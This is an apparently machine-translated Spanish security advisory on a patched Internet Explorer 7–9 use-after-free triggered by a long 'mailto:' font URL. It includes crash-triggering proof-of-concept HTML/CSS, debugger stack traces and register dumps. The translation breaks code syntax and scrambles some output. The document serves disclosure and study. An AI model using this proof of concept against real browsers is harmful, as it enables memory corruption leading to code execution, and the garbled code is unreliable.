Internet Explorer Script Interjection Code Execution

Internet Explorer Script Interjección Código de Ejecución

Derek Soeder
ds.adv.pub @ gmail.com

Reportado: 26 de enero de 2012, a SecuriTeam Secure Disclosure
                http://www.beyondsecurity.com/ssd.html
Publicado: Agosto 16, 2012 (actualizado 06 de septiembre 2012)


Proveedor afectado
---------------
Microsoft Corporation


ENTORNOS AFECTADOS
---------------------
Internet Explorer 7.0 en Windows XP y Windows Vista
Internet Explorer 8.0 en Windows XP, Windows Vista y Windows 7
Internet Explorer 9.0.0 a través de 9.0.8 (MS12-044) en Windows Vista y Windows 7
Otras versiones de Internet Explorer no se han probado.


ENTORNOS no afectados
-----------------------
Internet Explorer con MS12-052 revisión aplicada


IMPACTO
------
La vulnerabilidad descrita en este documento puede ser explotada por un
página Web maliciosos para ejecutar código arbitrario con integridad baja.
Active scripting debe estar habilitado y la explotación presente
técnicas requieren que la descarga de fuente se ajusta en "Activar" o
"Preguntar" y que la "mailto:" protocolo de estar presente. (Estos
requisitos se cumplen por defecto en Windows XP, Windows Vista,
y Windows 7.) El usuario se presenta con un cuadro de mensaje que debe
ser despedido antes de la ejecución de código puede ocurrir.


Detalles de la vulnerabilidad
---------------------
Procesamiento de eventos en Internet Explorer suele ser impulsada por
mensajes de ventana originarios tanto externamente (por ejemplo, debido a usuario
entrada o solicitudes de pintura) e internamente. Como con todos los mensajes de ventana,
estos mensajes son recuperados de la cola de mensajes del subproceso actual
por un bucle de mensajes, el cual envía cada mensaje a una ventana
procedimiento. El procedimiento de ventana, a su vez, invoca el código para controlar
evento asociado en función del tipo de mensaje de ventana. Si el evento
código de control se puede hacer para mostrar un cuadro de mensaje o diálogo o
de lo contrario entrará en un bucle de mensajes, luego otro mensaje de la ventana en relación
a un evento separado, segundo pueden ser enviados durante este "apilados",
bucle segundo mensaje, es decir, el segundo evento será procesado antes
el evento original ha sido totalmente manejado. Procesamiento de la original
evento continúa hasta después de la segunda bucle de mensajes ha finalizado (es decir,
cuando el cuadro de diálogo de mensaje que se muestra o se cierra). Si el evento segundo
código de manejo puede causar el estado del programa para convertirse en inconsistente
con las expectativas del código de control de eventos primero - por ejemplo, por
destruyendo objetos referenciados en variables locales para el primer evento
código de manejo - entonces debería ser posible producir daños en la memoria
que puede ser explotada para lograr la ejecución de código arbitrario.

Una variedad de eventos puede dar lugar script que se ejecuta durante el evento
controlador de código. Aunque es sencillo de script para mostrar un mensaje
caja o cuadro de diálogo y de ese modo entrar en un bucle de mensajes (por ejemplo, utilizando
window.alert, window.prompt, o bajo window.clipboardData.getData
configuración de seguridad predeterminada), hasta el momento no parece que un
interrumpir, segundo controlador de eventos se puede hacer nada para alterar
programa de estado de una manera que el primer controlador de eventos no se
acomodar. Esto es comprensible, ya que script debe ser capaz de
manejar otro script corriendo en cualquier momento y tener efectos arbitrarios
el estado del programa. Objetos accesibles a la escritura debe estar debidamente
referencia contado y recogida de basura, y lo haría con cualquier excepción
constituyen una vulnerabilidad separado que probablemente podría ser explotada
sin el uso de la falla se describe en este documento.

En algunos casos, también es posible hacer MSHTML.DLL introducir un mensaje
bucle durante la manipulación de un evento de presentación de la página (en oposición a un evento
intención de ejecutar secuencias de comandos). Por un lado, MSHTML! CMarkup :: ProcessUrlAction *
se utiliza para comprobar una variedad de opciones de seguridad durante la página
descarga y procesamiento, lo que llama a la función
URLMON! ProcessUrlAction *, que puede mostrar un cuadro de diálogo si la consulta
acción ajuste se establece en "Preguntar". Desafortunadamente, la mayoría de los
la configuración de seguridad por defecto para que provocó que se manejan a través de
la banda de seguridad de color amarillo o barra de notificaciones en lugar de un cuadro de diálogo.

Otras vías para llegar a un bucle de mensajes pueden ser descubiertos por
dando marcha atrás de funciones tales como DispatchMessageW, MessageBoxW y
DialogBoxParamW. Una llamada a la función de interés particular es una llamada
a MessageBoxW encontrado en
MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError. Era
descubrió que, si Internet Explorer intenta descargar un muy largo
(Aproximadamente 2030 caracteres) "mailto:" URL,
CMailtoProtocol :: RunMailClient se producirá un error y llame
CMailtoProtocol :: DisplayMailClientNotFoundError para mostrar un mensaje
caja, con lo que entrar en un bucle de mensajes. (El mensaje dice: "No se ha podido
realizar esta operación porque el cliente de correo predeterminado no está correctamente
instalado. ") Además, se encontró que cuando se muestra este mensaje
caja, mientras que la descarga de una fuente incorporada (mediante la especificación de un largo "mailto:"
URL para la fuente del "src" propiedad) dará lugar a las referencias a
objetos dirigibles restantes en la pila hasta que el mensaje es
cerrada. Por lo tanto, una página web puede explotar esta vulnerabilidad mediante la declaración
una fuente incorporada con un largo "mailto:" URL de origen y la garantía de que un
evento que destruye y reemplaza los objetos dirigibles se produce mientras el
cuadro de mensaje está abierto. Aunque los detalles de la targetable
los objetos son Internet Explorer versión-dependiente, la explotación debe
generalmente proceda como típico para un Internet Explorer use-after-free
vulnerabilidad.

Eventos

La complejidad más importante de esta vulnerabilidad es la comprensión
Manejo de Internet Explorer evento. Como se mencionó anteriormente, el evento
manipulación se basa en el procesamiento de mensajes de ventana. Algunos ventana
mensajes pueden surgir a partir de la entrada del usuario (como el teclado y el ratón
mensajes), mientras que otros pueden ser generados por el sistema operativo (tal
como la pintura y los mensajes de cambio de tamaño), pero la mayoría de los mensajes de señalización de eventos son
interally generado por Internet Explorer. Estos mensajes utilizan una
valor de identificador de mensaje 0x8002 y se generan cuando un método "
llamada "se añade a una cola mantenida en almacenamiento local de subprocesos (TLS), si
la cola está vacía. Una llamada al método es simplemente un puntero de función y
datos asociados que representan a una devolución de llamada que se invoca el evento
manejo de mensajes loop (bucle de mensajes o cualquier otro). Las llamadas a métodos son
en cola utilizando MSHTML! _GWPostMethodCallEx y manejados por
MSHTML! GlobalWndOnMethodCall, que la MSHTML! Ventana GlobalWndProc
procedimiento llama en respuesta a un mensaje de 0x8002.

Es importante observar que un mensaje 0x8002 sólo se publicarán si
la cola de llamadas método está vacío y si un mensaje no es 0x8002
pendiente (en trámite o en espera de ser procesado). Por lo tanto,
posiblemente con una pequeña excepción, una 0x8002 segundo mensaje no puede ser
mientras que una pendiente 0x8002 primer mensaje se está procesando, lo que significa un
segundo método de llamada basada en eventos no pueden ser manejados mientras que un primer método
evento de llamada basada está siendo manejado, incluso si el primero entra en un mensaje
bucle. Cuando explotando la vulnerabilidad, un acontecimiento puede estar basada en una
llamada al método, pero el otro debe corresponder a la entrada del usuario o algún otro
tipo de mensaje.

Aunque el diseño de una página Web para provocar un mensaje de entrada del usuario sin
interacción del usuario no es difícil, Internet Explorer 9 ofrece otra
posibilidad de introducir eventos asíncronos. Si una página Web es
visto en IE9 modo estándar, ciertos eventos (por ejemplo,
body.onfocus) en lugar será mediado por mensajes con un identificador
valor de 0x8003, que se generan a través
MSHTML CEventMgr :: QueueAsyncEvent ->
MSHTML! CAsyncEventQueue :: QueueEvent y procesados ​​cuando GlobalWndProc
llama MSHTML! CAsyncEventQueue :: DispatchAllEvents. Si el asíncrona
código de control de eventos entra en un bucle de mensajes, un mensaje podría 0x8002
ser enviados y causar cualquier método las llamadas en cola para ser procesados.

Ejemplo (Internet Explorer 7 y 8)

Un ejemplo sencillo de cómo reproducir esta vulnerabilidad en Internet
Explorer versiones 7 y 8 siguientes. Una página Web contiene un estilo vacío
vínculo de hoja, un cuerpo con un controlador "onmouseover" evento, y un guión
elemento que crea un elemento nuevo guión y le asigna un
"Onreadystatechange" event handler. El cuerpo también tiene un estilo que se
especifica un valor de altura grande, de modo que el área del cuerpo ocupará el
altura completa, así como el ancho de la ventana del navegador. El siguiente
HTML ilustra:

  <html>
    <head>
      <script>
        var s = document.createElement ("script");
        s.src = "slow.js";
        s.onreadystatechange = function ()
          {
            si (== this.readyState "cargado")
            {
              document.styleSheets [0] = null cssText.;
            }
          };
        var o = document.getElementsByTagName ("script") [0];
        o.parentNode.insertBefore (s, o);
      </ Script>
      <link rel="stylesheet" href=""> </ link>
    </ Head>
    Estilo <body = "Altura: 9999px;"
onmouseover = "document.styleSheets [0] href = 'MyFont.css». ">
    </ Body>
  </ Html>

La respuesta a la solicitud de "slow.js" pueden devolver cualquier cosa - o
nada - siempre y cuando se tarda más en completarse que hace la solicitud
para "MyFont.css". El objetivo es que el elemento de script nuevo
"Onreadystatechange" controlador de eventos después de ejecutar la hoja de estilo tiene
cargado. "MyFont.css" consiste en lo siguiente CSS:

  @ Font-face
  {
    font-family: "MyFont";
    src: url (mailto: xxx <... aproximadamente 2.020 caracteres eliminados ...> xxx);
  }

Cuando se carga la página Web, la presencia del cursor del ratón sobre el
ventana hace MSHTML! cserver :: WndProc de una ventana de ratón
mensaje, que pasa a MSHTML CDOC :: OnWindowMessage ->
MSHTML! CDOC :: OnMouseMessage. Más arriba en la pila de llamadas, el script de
del cuerpo "onmouseover" corrimiento de control de eventos, establecer el estilo vacío
vínculo de hoja de atributo "href" cargar "MyFont.css". Cuando el CSS
definir el "MyFont" fuente incorporada se analiza, la larga "mailto:" URL
finalmente resultará en
CMailtoProtocol :: DisplayMailClientNotFoundError mostrar un error
cuadro de mensaje, haciendo una pausa la ejecución de ese hilo, excepto para procesar ventana
mensajes. Usando el "onmouseover" controlador de eventos para este fin
se asegura de que el cuadro de mensaje aparece durante el procesamiento de un usuario
entrada de mensaje de ventana, en lugar de durante el procesamiento de una llamada de método
(0x8002) La ventana de mensajes, lo que deja la llamada al método disponible avenida
para el segundo evento.

Mientras que el cuadro de mensaje muestra, nuestro servidor ataque completa su
intencionalmente retrasado respuesta a la solicitud de "slow.js", causando
el cliente a la cola de una llamada a un método que se ejecutará el nuevo guión
elemento "onreadystatechange" event handler. Debido a que una llamada de método
(Mensaje 0x8002) no se encuentra en trámite - el evento de ser
procesado se originó en cambio, como un mensaje de ventana ratón - esto significa que el
hilo responsable de la descarga "slow.js" es libre de publicar un mensaje
0x8002 después de que las colas de la llamada al método. El mensaje de la ventana y luego se
remitido por el bucle de mensajes que impulsa el cuadro de mensaje de error,
haciendo que el "onreadystatechange" controlador de eventos para correr. En este
ejemplo, los pisones de controlador de eventos con el objeto que representa el
hoja de estilo, que seguía siendo interpretado en el momento del mensaje
caja estaba mostrando. La alteración provoca un accidente una vez que el mensaje
Se cierra el cuadro y la interpretación de la hoja de estilo se le permite
continuar.

Ejemplo (Internet Explorer 9)

Ahora un ejemplo simple específico de Internet Explorer 9 se presenta. La
La página web contiene un cuerpo con un controlador "onfocus" evento, un estilo
hoja de definir una fuente incorporada y una clase que utiliza, un "div"
elemento de la clase definida, y un elemento de secuencia de comandos que crea un nuevo
guión elemento y se le asigna un "onreadystatechange" controlador de eventos.
El documento comienza con un "DOCTYPE" declaración que asegura que
la página se hizo en IE9 modo estándar. El código HTML siguiente
ilustra:

  <DOCTYPE html PUBLIC "- / / W3C / / DTD XHTML 1.0 Strict / / EN"
"Http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  <html>
    <head>
      <style>
        @ Font-face
        {
          font-family: "MyFont";
          src: url (mailto: xxx <... aproximadamente 2.020 caracteres
eliminado ...> xxx);
        }

        . MyFontClass
        {
          font-family: "MyFont";
        }
      </ Style>
      <script>
        var s = document.createElement ("script");
        s.src = "slow.js";
        s.onreadystatechange = function ()
          {
            si (== this.readyState "cargado")
            {
              var d = document.getElementById ("myDiv");
              d.parentNode.removeChild (d);
            }
          };
        document.appendChild (s);
      </ Script>
    </ Head>
    onfocus="document.getElementById('MyDiv').className <body ='MyFontClass';">
      <div id="MyDiv"> </ div>
    </ Body>
  </ Html>

En IE9 modo estándar, las fuentes incrustadas no se descargan hasta que estén
necesario para representar la página, lo que significa que la fuente incrustada es largo
"Mailto:" URL es interpretado - y por lo tanto es el cuadro de mensaje de error
muestra - Cuando el cuerpo "onfocus" activa el evento. Porque
body.onfocus se maneja en IE9 modo estándar como un evento asíncrono
(Mensaje 0x8003), las llamadas de método (mensaje 0x8002) siguen siendo libres para ser
enviado, mientras que el cuadro de mensaje bucle de mensajes se encuentra en la pila de llamadas.
En este ejemplo, se espera que "slow.js" para terminar la descarga después de
body.onfocus dispara y hace que el cuadro de mensaje de error. La
código en IE que gestiona la descarga de una cola
"Onreadystatechange" método de llamada para el guión, que será
enviado por el bucle de mensajes de buzón de mensajes, lo que permite a nuestro Javascript
ejecutar. Desde IE9 accesos fuentes incrustadas en la demanda, no habrá
referencias a objetos diferentes en la pila debajo del cuadro de mensaje
bucle de mensajes, por lo que si nuestros pisones JavaScript con estos objetos, un choque
dará como resultado una vez que el cuadro de mensaje se cierra.

Tutorial

Para ayudar a proporcionar una comprensión visual de la vulnerabilidad, una
tutorial cronológico de la caída de Internet Explorer ejemplo 9 es
aquí se presenta. Siguiendo a lo largo en el ejemplo se recomienda. La
símbolos que se muestran corresponden a Internet Explorer 9.0.3 en Windows 7 SP1
x 86, con la versión 9.0.8112.16437 MSHTML.DLL cargado en 6D1C0000 y
montón de la página habilitada.

Cuando la página se está cargando ejemplo, un byte 0x54 CTreePos instancia de la clase
se asigna en el montón: (Este ejemplo CTreePos serán liberados y
su memoria reutilizado más adelante.)

  77365ae0 ntdll! RtlAllocateHeap 0 x0000023a
  6d423fe1 MSHTML! CHtmRootParseCtx :: BeginElement 0 x00000035
  6d51b14b MSHTML! CHtmTextParseCtx :: BeginElement 0 x000000a1
  6d4245a0 MSHTML! CHtmParse :: BeginElement 0 x00000151
  6d4269aa MSHTML! CHtmParse :: ParseBeginTag 0 x00000199
  6d422422 MSHTML! CHtmParse :: ParseToken 0 x00000100
  6d42292a MSHTML! CHtmPost :: Exec 0 x00000233
  6d427a10 MSHTML! CHtmPost :: Run 0 x00000041
  6d42793c MSHTML! PostManExecute 0 x000001a3
  6d4278a1 MSHTML! PostManResume 0 x000000dd
  6d427801 MSHTML! CHtmPost :: OnDwnChanCallback 0 x00000010
  6d40b4d5 MSHTML! CDwnChan :: OnMethodCall 0 x0000001f
  6d5a9d09 MSHTML! GlobalWndOnMethodCall 0 x00000115
  6d5c9368 MSHTML! GlobalWndProc 0 x00000302
  7748c4e7 USER32! InternalCallWinProc 0 x00000023
  7748c5e7 USER32! UserCallWinProcCheckWow 0 x0000014b
  7748cc19 USER32! DispatchMessageWorker 0 x0000035e
  7748cc70 USER32! DispatchMessageW 0 x0000000f
  6e8e1b44 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x00000722
  6e901a16 Ieframe! LCIETab_ThreadProc 0 x00000317
  759315b0 Iertutil! CIsoScope :: RegisterThread 0 x000000ab
  6e8efd5b Ieframe! Detour_DefWindowProcA 0 x0000006c
  75c4ed6c kernel32! BaseThreadInitThunk 0 x0000000e
  773737f5 ntdll! __RtlUserThreadStart 0 x00000070
  773737c8 ntdll! _RtlUserThreadStart 0 x0000001b

A continuación, Javascript de la página se ejecuta, creando un elemento nuevo guión
con una fuente de "slow.js". La idea es que el servidor web
intencionalmente aplazar servir a este archivo por un segundo o dos. Esta
organiza una "onreadystatechange" evento para disparar después de la demora
transcurre.

Una vez que la página termine de cargar (pero antes de que haya transcurrido el retardo), el
"Body.onfocus" activa el evento. Debido a que el documento está en IE9 normas
modo, "body.onfocus" se pondrán en cola como un evento asíncrono, es decir,
que será mediado por 0x8003 ventana de mensaje. El "body.onfocus"
controlador de eventos cambia una clase "div" elemento de una clase que utiliza un
fuente incorporada. Esto obliga a Internet Explorer intenta descargar
la fuente, que falle debido a la larga "mailto:" URL. Fundamentalmente, el
fallo provoca un "mailto" específica cuadro de mensaje que se muestra, lo que
entra en un bucle de nuevo, el mensaje de la parte superior durante el mensaje original, inferior
manipulación del bucle del mensaje 0x8003 ventana asociada con la
"Body.onfocus" del evento. La pila de llamadas, de arriba a abajo, ahora se ve
de esta manera:

  774a382a USER32! NtUserWaitMessage 0 xc
  774a3b27 USER32! DialogBox2 0 x207
  774ce0d5 USER32! InternalDialogBox 0 xcb
  774ce659 USER32! SoftModalMessageBox 0 x68a
  774ce78c USER32! MessageBoxWorker 0 x2ca
  774cea08 USER32! MessageBoxTimeoutW 0 x7f
  6ea15e86 USER32! MessageBoxExW 0 x1b
  774ceaa4 Ieframe! Detour_MessageBoxExW 0 x47
  6db3ac94 USER32! MessageBoxW 0 x45
  6db3aaf1 MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError 0 x10b
  6db3a2cc MSHTML! CMailtoProtocol :: RunMailClient 0 x12e
  6db39def MSHTML! CMailtoProtocol :: ParseAndBind 0 x8b
  76ab1c0b MSHTML! CMailtoProtocol :: Start 0 xcd
  76a98fb3 URLMON! COInetProt :: STARTEX 0 xf0
  76a9a31f URLMON! CTransaction :: STARTEX 0 x40b
  76a8386c URLMON! CBinding :: StartBinding 0 x883
  6d438507! URLMON nuevo operador 0 x20
  6d4383ed MSHTML! CTridentFilterHost :: BindToMoniker 0 xe4
  6d4216f3 MSHTML! CDwnBindData :: Bind 0 x722
  6d42153b MSHTML! NewDwnBindData 0 x189
  6d20c107 MSHTML! CDwnLoad :: Init 0 x25c
  6d5c1f27 MSHTML! CBitsLoad :: Init +0 x52
  6d421279 MSHTML! CDwnInfo :: SetLoad 0 x11e
  6d451257 MSHTML! CDwnInfo :: AddDwnCtx 0 x67
  6d42c695 MSHTML! CDOC :: NewDwnCtx2 0 x30a
  6d953c33 MSHTML! CDOC :: NewDwnCtx 0 X5b
  6d956222 MSHTML! CEmbeddedFontFace :: EnsureStartDownload 0 x120
  6d955aee MSHTML! CFontFace :: CFontFaceSrc :: EnsureStartDownload 0 x8a
  6d682c20 MSHTML! CFontFace :: AddToFamily 0 x18c
  6d52ceb2 MSHTML! CStyleSheetArray :: BuildFontFaceRuleFamily 0 x58
  6d52cd28 MSHTML! ApplyClear 0 x113
  6d51bc41 MSHTML! ApplyFontFace 0 x1d4
  6d40e103 MSHTML! ApplyFormatInfoProperty 0 x33bf
  6d40e424 MSHTML! ApplyAttrArrayValues ​​0 x2bd
  6d5b5344 MSHTML! CStyleSheetArray :: Aplicar 0 x34a
  6d47bad8 MSHTML! CMarkup :: ApplyStyleSheets 0 X6A
  6d47b89e MSHTML! CElement :: ApplyStyleSheets 0 x4a2
  6d4cddff MSHTML! CElement :: ApplyDefaultFormat 0 x8b
  6d47b5a0 MSHTML! CBlockElement :: ApplyDefaultFormat 0 x379
  6d47a5a3 MSHTML! CElement :: ComputeFormatsVirtual 0 x1a1e
  6d47a4d6 MSHTML! CElement :: ComputeFormats 0 xe1
  6d47bd39 MSHTML! CTreeNode :: ComputeFormats 0 Xba
  6d482d33 MSHTML! CTreeNode :: ComputeFormatsHelper 0 x40
  6d360862 MSHTML! CTreeNode :: GetFancyFormat 0 x32
  6d2d910f MSHTML! CElement :: UpdateFormats 0 X426
  6d4ce10f MSHTML! CControlledFormatter :: Init 0 XCC
  6d47fa14 MSHTML! CElement :: OnPropertyChangeInternal 0 x3fa
  6d49b76b MSHTML! CElement :: OnPropertyChange 0 x1b
  6d2da8db MSHTML! BASICPROPPARAMS :: SetStringProperty 0 x36a
  6d0084d6 MSHTML! CFastDOM :: CHTMLElement :: Trampoline_Set_className 0 x61
  6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  6d0cc968 JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
  6d009a85 JSCRIPT9! Js :: JavascriptOperators :: DefinirPropiedad 0 x8c
  6d009a2c JSCRIPT9! Js :: JavascriptOperators :: OP_SetProperty 0 x59
  039507b8 JSCRIPT9! Js :: JavascriptOperators :: PatchPutValueNoLocalFastPath 0 XBC
  6d0084d6 0x39507b8
  6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  6d54ce40 MSHTML! CListenerDispatch :: Invoke 0 x40
  6d44e624 MSHTML! CEventMgr :: _InvokeListeners 0 x187
  6d54cf37 MSHTML! CEventMgr :: _InvokeListenersOnWindow 0 XCC
  6d5db67d MSHTML! CEventMgr :: Despacho 0 X3CC
  6d53ba32 MSHTML! CEventMgr :: DispatchFocusEvent 0 x7d
  6d5e6f74 MSHTML! COmWindowProxy :: Fire_onfocus 0 x84
  6d5e6ff1 MSHTML! CAsyncEventQueue :: DispatchAllEvents 0 x7c
  7748c4e7 MSHTML! GlobalWndProc 0 x2ed
  7748c5e7 USER32! InternalCallWinProc 0 x23
  7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  7748cc70 USER32! DispatchMessageWorker 0 x35e
  6e8e1b44 USER32! DispatchMessageW 0 xf
  6e901a16 Ieframe! CTabWindow :: _TabWindowThreadProc 0 x722
  Ieframe 759315b0! LCIETab_ThreadProc 0 X317
  6e8efd5b Iertutil! CIsoScope :: RegisterThread 0 xab
  75c4ed6c Ieframe! Detour_DefWindowProcA 0 x6c
  773737f5 KERNEL32! BaseThreadInitThunk 0 xe
  773737c8 NTDLL! __RtlUserThreadStart 0 x70
  00000000 NTDLL! _RtlUserThreadStart 0 x1b

Mientras el cuadro de mensaje permanece abierta, el bucle de mensaje se
enviar una nueva ventana mediadas por mensajes acontecimientos, y el control no volverá
a lazo mensaje original de Internet Explorer. No importa cual
bucle de mensaje está enviando mensajes, porque la misma ventana
procedimiento se ejecuta en cualquier caso. El único problema es que el
código de abajo en la pila de llamadas se trabaja con objetos diversos montón
(Tales como los CTreePos asignados anterior) antes de introducir el control de la
Llamada MessageBox y se atascó. Ahora bien, si una ventana de mensaje mediada
hecho da lugar a la ejecución de Javascript que modifican y destruyen
los objetos pila, la corrupción se manifiesta como un uso después de liberación, por
ejemplo, puede resultar.

Como belabored en la sección Detalles de la vulnerabilidad, no todos los tipos de
evento se pueden "apilar" en cada situación como ésta, pero cierto
diferentes eventos pueden. Un mensaje de la ventana 0x8003 (para "body.onfocus")
se encontraba en trámite durante el bucle de mensajes de fondo, por lo que si una 0x8002
mensaje de la ventana se publica, se procesa durante el mensaje de arriba
loop - y esto es exactamente lo que el ejemplo ha dispuesto a pasar.
Una vez que la demora en el servicio "slow.js" transcurre, una ventana 0x8002
mensaje mediada por evento (denominado como una "llamada de método") correspondiente
para concluir la descarga será publicado y posteriormente tratados
durante el bucle de mensajes de la parte superior. Esta llamada al método ejecuta la creación
elemento de secuencia de comandos "onreadystatechange" event handler, que destruye
la muy "div" elemento que estaba en el proceso de ser mostrada cuando
Internet Explorer intenta descargar la fuente y se atascó en
el cuadro de mensaje. La pila siguiente llamada parcial muestra "removeChild"
ser llamado desde el controlador "onreadystatechange" event:

  6d2eb4e3 MSHTML! CElement :: ie9_removeChild
  6d0084d6 MSHTML! CFastDOM :: cNodo :: Trampoline_removeChild 0 X7b
  6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  039501af JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
  6d0084d6 0x39501af
  6d0083fb JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  6d008332 JSCRIPT9! Js :: JavascriptFunction :: CallRootFunction 0 XB6
  6d0082be JSCRIPT9! ScriptSite :: CallRootFunction 0 x4f
  6d0cf12c JSCRIPT9! ScriptSite :: Execute 0 x63
  6d4f24d1 JSCRIPT9! ScriptEngine :: Execute 0 X11A
  6d4f23fb MSHTML! CListenerDispatch :: InvokeVar 0 x12a
  6d35a726 MSHTML! CListenerDispatch :: Invoke 0 x40
  6d5db834 MSHTML! CEventMgr :: Despacho 0 x537
  6d4a5607 MSHTML! CEventMgr :: dispatchEvent 0 XC9
  6d4a02ff MSHTML! CElement :: Fire_onreadystatechange 0 x99
  6d5a9d09 MSHTML! CScriptElement :: FireOnReadyStateChange 0 x3e
  6d5c9368 MSHTML! GlobalWndOnMethodCall 0 x115
  7748c4e7 MSHTML! GlobalWndProc 0 x302
  7748c5e7 USER32! InternalCallWinProc 0 x23
  7748cc19 USER32! UserCallWinProcCheckWow 0 x14b
  7748cc70 USER32! DispatchMessageWorker 0 x35e
  774a38d7 USER32! DispatchMessageW 0 xf
  774a3b27 USER32! DialogBox2 0 x15a
  774ce0d5 USER32! InternalDialogBox 0 xcb
  774ce659 USER32! SoftModalMessageBox 0 x68a
  774ce78c USER32! MessageBoxWorker 0 x2ca
  774cea08 USER32! MessageBoxTimeoutW 0 x7f
  6ea15e86 USER32! MessageBoxExW 0 x1b
  774ceaa4 Ieframe! Detour_MessageBoxExW 0 x47
  6db3ac94 USER32! MessageBoxW 0 x45
  6db3aaf1 MSHTML! CMailtoProtocol :: DisplayMailClientNotFoundError 0 x10b
  6db3a2cc MSHTML! CMailtoProtocol :: RunMailClient 0 x12e
  6db39def MSHTML! CMailtoProtocol :: ParseAndBind 0 x8b
  76ab1c0b MSHTML! CMailtoProtocol :: Start 0 xcd
   ...

La libre que realmente ocurre en una llamada de método subsiguiente, que es también
la transformación en el bucle de mensajes de mensajes, como se muestra en la
siguiente pila de llamadas parcial:

  75c4c3d4 kernel32! HeapFree 0 x00000014
  6d5eebed MSHTML! CTreePos :: Release 0 x00000046
  6d5fdc69 MSHTML! CLayoutBlock :: ~ CLayoutBlock 0 x000000ba
  6d5ff5da MSHTML! CFlexBoxBlock :: `destructor escalar borrar '0 x00000013
  6d559ee9 MSHTML! TSmartPointer <CPtsPelParaclient> :: ~ TSmartPointer <CPtsPelParaclient> 0 x00000014
  6d5da773 MSHTML! HtmlLayout :: SmartDispClient :: Release 0 x00000023
  6d5da5fb MSHTML! HtmlLayout :: FlowBox :: ImplicitDestructor 0 x0000001d
  6d490144 MSHTML! HtmlLayout :: CIE9DocumentLayout :: FormatPage 0 x00000065
  6d48c517 MSHTML! CCssDocumentLayout :: FindOrFormatPage 0 x00000272
  6d4872fb MSHTML! CCssDocumentLayout :: GetPage 0 x00000964
  6d48e06f MSHTML! CMarkupPageLayout :: CalcSize 0 x0000028c
  6d48de82 MSHTML! CMarkupPageLayout :: CalcTopLayoutSize 0 x00000101
  6d48fba1 MSHTML! CMarkupPageLayout :: DoLayout 0 x00000056
  6d47e65a MSHTML! CView :: ExecuteLayoutTasks 0 x00000034
  6d476a85 MSHTML! CView :: EnsureView 0 x000003bf
  6d498701 MSHTML! CView :: EnsureViewCallback 0 x000000b8
  6d5a9d09 MSHTML! GlobalWndOnMethodCall 0 x00000115
  6d5c9368 MSHTML! GlobalWndProc 0 x00000302
  7748c4e7 USER32! InternalCallWinProc 0 x00000023
  7748c5e7 USER32! UserCallWinProcCheckWow 0 x0000014b
  7748cc19 USER32! DispatchMessageWorker 0 x0000035e
  7748cc70 USER32! DispatchMessageW 0 x0000000f
  774a38d7 USER32! DialogBox2 0 x0000015a
  774a3b27 USER32! InternalDialogBox 0 x000000cb
  774ce0d5 USER32! SoftModalMessageBox 0 x0000068a
  774ce659 USER32! MessageBoxWorker 0 x000002ca
  774ce78c USER32! MessageBoxTimeoutW 0 x0000007f
   ...

En este punto, un exploit totalmente desarrollado podría utilizar javascript
reasignar y sobrescribir la memoria que había pertenecido a la
ahora liberado CTreePos. Por el bien de este tutorial, basta
dejar montón de páginas limpie la memoria liberada de las CTreePos con 0xF0.

Finalmente, una vez que el usuario cierra el cuadro de mensaje, la ejecución del
interrumpir la descarga de la fuente y la página de códigos de representación continúa, pero la
código de falla para anticipar que el estado del programa ha cambiado durante el
Mensajes llamar. Un puntero en la pila de los CTreePos destruidas es
eliminan las referencias, lo que resulta en una violación de acceso. El siguiente
registro de descarga, desmontaje, y llamar a ilustrar pila, anuncio que EBX
puntos de apilar memoria en la que un puntero a los CTreePos destruidas
se tiene:

  Violación de acceso - código c0000005 (primera oportunidad)
  eax = ebx = 005ba430 03b5c5c8 ecx = f0f0f0f0 edx = 03b5c540 esi = 00000000 edi = 00557840
  eip = 6d47b5d7 esp = 03b5c450 ebp = 03b5c510 iopl = 0 nv hasta ei pl zr na pe nc
  cs = 001b ss = 0023 ds = 0023 es = 0023 fs = 003b gs = 0000 efl = 00010246
  ! MSHTML CElement :: ComputeFormatsVirtual 0 x1a64:
  6d47b5d7 0fbf4120 MOVSX eax, word ptr [ecx 20 h]
ds: 0023: f0f0f110 =????

  6d47b5c5 8b03 mov eax, dword ptr [ebx]
  6d47b5c7 8b8bd4000000 mov ecx, dword ptr [ebx 0 D4h]
  6d47b5cd 89442420 mov dword ptr [esp 20 h], eax
  6d47b5d1 894c242c mov dword ptr [esp 2 Ch], ecx
  6d47b5d5 8b08 mov ecx, dword ptr [eax]
  6d47b5d7 0fbf4120 MOVSX eax, word ptr [ecx 20 h]

  6d47a5a3 MSHTML! CElement :: ComputeFormatsVirtual 0 x1a64
  6d47a4d6 MSHTML! CElement :: ComputeFormats 0 xe1
  6d47bd39 MSHTML! CTreeNode :: ComputeFormats 0 Xba
  6d482d33 MSHTML! CTreeNode :: ComputeFormatsHelper 0 x40
  6d360862 MSHTML! CTreeNode :: GetFancyFormat 0 x32
  6d2d910f MSHTML! CElement :: UpdateFormats 0 X426
  6d4ce10f MSHTML! CControlledFormatter :: Init 0 XCC
  6d47fa14 MSHTML! CElement :: OnPropertyChangeInternal 0 x3fa
  6d49b76b MSHTML! CElement :: OnPropertyChange 0 x1b
  6d2da8db MSHTML! BASICPROPPARAMS :: SetStringProperty 0 x36a
  6d0084d6 MSHTML! CFastDOM :: CHTMLElement :: Trampoline_Set_className 0 x61
  6d0cc04d JSCRIPT9! Js :: JavascriptFunction :: CallFunction 0 xc4
  6d0cc968 JSCRIPT9! Js :: JavascriptExternalFunction :: ExternalFunctionThunk 0 x117
